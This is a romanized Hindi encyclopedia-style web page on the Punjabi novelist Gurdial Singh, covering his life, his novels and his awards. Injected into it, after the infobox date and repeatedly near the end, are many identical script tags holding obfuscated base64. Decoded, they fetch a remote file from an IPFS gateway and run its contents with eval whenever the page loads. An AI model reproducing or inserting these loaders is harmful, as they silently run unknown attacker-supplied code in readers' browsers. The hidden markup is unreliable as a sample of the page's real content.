गुरदयाल सिंह
guradayal sianh
| |
poora nam | guradayal sianh |
janm | 10 janavari, 1933 |
janm bhoomi | jaito, panjab |
karm bhoomi | panjab |
karm-kshetr | sahityakar |
mukhy rachanaean | 'madhi da diva', 'parasa', 'ret di ikk mutthi', 'rookhe misse bande' adi. |
bhasha | panjabi |
puraskar-upadhi | sahity akadami puraskar (1975), padmashri (1998), jnanapith puraskar (1999) |
nagarikata | bharatiy |
any janakari | amrita pritam ke bad guradayal sianh doosare panjabi sahityakar haian, jinhean jnanapith puraskar diya gaya. |
adyatan | 16:08, 5 disambar 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
guradayal sianh (aangrezi: Gurdial Singh, janm: 10 janavari, 1933) ek prasiddh panjabi sahityakar haian. inhean 1999 mean jnanapith puraskar se sammanit kiya gaya tha. amrita pritam ke bad guradayal sianh doosare panjabi sahityakar haian jinhean jnanapith puraskar diya gaya. guradayal sianh am adami ki bat kahane vale panjabi bhasha ke vikhyat kathakar haian. kee prasiddh lekhakoan ki tarah upanyasakar ke roop mean guradayal sianh ki upalabdhi ko bhi unake aranbhik jivan ke anubhavoan ke sandarbh mean dekha ja sakata hai.
jivan parichay
guradayal sianh ka janm 10 janavari, 1933 ko panjab ke jaito mean hua. 12-13 varsh ki ayu mean, jab vah kuchh sochane-samajhane layaq ho rahe the, parivarik paristhitiyoan ke karan unhean skool chho dana p da, taki badhee ke dhandhe mean vah apane pita ki madad kar sakean. guradayal ka jivan keval sharirik mehanat tak simat gaya, jisamean koee bauddhik ya adhyatmik tattv nahian tha. skool chho d dene ke bad bhi unhoanne apane skool le pradhanadhyapak se sanpark banae rakha, jinhoanne guradayal ki pratibha ko pahachana aur apana adhyayan niji taur par jari rakhane ke lie protsahit kiya. guradayal ne skool chho dane ke lagabhag 10 varsh bad svatantr chhatr ke roop mean maitrik ki pariksha uttirn ki. unake hitaishi pradhanadhyapak ne ek sarakari praimari skool mean adhyapak ki naukari dilane mean bhi unaki madad ki.
lekhan shaili
1966 mean unaka pahala upanyas "madhi da diva" prakashit hua, jisamean ek dalit aur ek vivahit jat mahila ke maun prem ki natakiy prastuti thi. yah dukhaant prem kahani itani sahajata aur saralata se abhivyakt ki gee ki pathak kathashilp par unaki adbhut pak d aur apane patroan v samajik parivesh ki unaki gahari samajh se prabhavit hue bina nahian rah sake. isamean dalit varg ki garibi aur unake bhavatmak asantosh ka varnan atyant sahajata se kiya gaya. isi karan poore lekhakiy jivan mean unhean mitrahin ke mitr ki tarah jana jata raha hai. kathakar ke roop mean unaka shilp itana samarth hai ki apani mahattvapoorn kriti "parasa" mean unhoanne apane nayak ke jivan ke apratyashit utar - chadhavoan ka vistrit aur saphalatapoornak niroopan kiya hai. is upanyas ke nayak ke tin bete haian. pahala khel prashikshak hai, jo ianglaiand mean jakar bas jata hai, doosara pulis adhikari hai, jisaki jivan shaili apane pita ke jivan se bilkul alag hai, tisara beta naksali ho jata hai aur ek pulis muthabhe d mean mara jata hai. parasa adhunik bharatiy katha sahity ke ek avismaraniy charitr ki tarah apani chhap chho data hai. apane asapas ke yatharth ko pramanikata aur vilakshan kalatmakata ke sath prastut karana guradayal sianh ki vishishtata hai aur yahian unake sabhi upanyasoan ko adbhut roop se pathaniy banati hai.
pramukh kritiyaan
|
|
|
samman evan puraskar
- sahity akadami puraskar (1975)
- panjab sahity akadami puraskar (1989)
- soviyat laiand neharoo puraskar (1986)
- shiromani sahityakar puraskar (1992)
- padmashri (1998)
- jnanapith puraskar (1999)
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- pustak- bharat jnanakosh khand-6 | prishth sankhya- 40
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>